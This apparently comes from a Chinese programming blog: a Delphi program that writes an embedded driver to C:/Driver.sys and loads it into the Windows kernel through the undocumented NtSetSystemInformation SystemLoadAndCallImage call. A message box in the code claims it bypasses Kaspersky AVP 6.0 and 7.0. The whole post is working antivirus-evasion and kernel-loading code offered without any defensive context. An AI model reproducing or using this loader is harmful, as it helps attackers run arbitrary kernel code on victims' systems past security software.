Delphi加载驱动

 1 program Project2;
 2 
 3 uses
 4 Windows, Native, JwaWinType, Unit_Driver;
 5 
 6 function Is2KXp(): Boolean;
 7 var
 8 OSVer: TOSVersionInfo;
 9 begin
10 Result := False;
11 OSVer.dwOSVersionInfoSize := Sizeof(TOSVersionInfo);
12 if GetVersionEx(OSVer) then
13 begin
14     if (OSVer.dwPlatformId = VER_PLATFORM_WIN32_NT) then
15     begin
16       if (OSVer.dwMajorVersion = 5) and ((OSVer.dwMinorVersion = 0) or
17             (OSVer.dwMinorVersion = 1))then
18       begin
19         Result := True;
20       end;
21     end;
22 end;
23 end;
24 
25 function DriverSaveFile(lpszName: PChar):Boolean;
26 var
27 hFile:THandle;
28 BytesWrite: dword;
29 begin
30 Result := False;
31 DeleteFile(lpszName);
32 hFile := CreateFile(lpszName, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ, nil, CREATE_NEW, 0, 0);
33 if hFile = INVALID_HANDLE_VALUE then Exit;
34 if WriteFile(hFile,DriverBuf,DriverSize, BytesWrite, nil) then Result := True;
35 CloseHandle(hFile);
36 end;
37 
38 var
39 StrInit: TString;
40 GGSImage: SYSTEM_LOAD_AND_CALL_IMAGE;
41 begin
42 if (Is2KXp()) then
43 begin
44     if DriverSaveFile('C:/Driver.sys') then
45     begin
46       RtlInitAnsiString(@StrInit, '/??/C:/Driver.sys');
47       RtlAnsiStringToUnicodeString(@GGSImage.ModuleName, @StrInit, True);
48       OutputDebugString('Load Driver: C:/Driver.sys');
49       NtSetSystemInformation(SystemLoadAndCallImage, @GGSImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE));
50 
51       MessageBox(0, 'Bypassed AVP 6.0&7.0.0.125', 'By Anskya', 0);
52     end;
53 end;
54 end.

 

posted @ 2013-10-31 17:15  Max Woods  阅读(932)  评论(0编辑  收藏  举报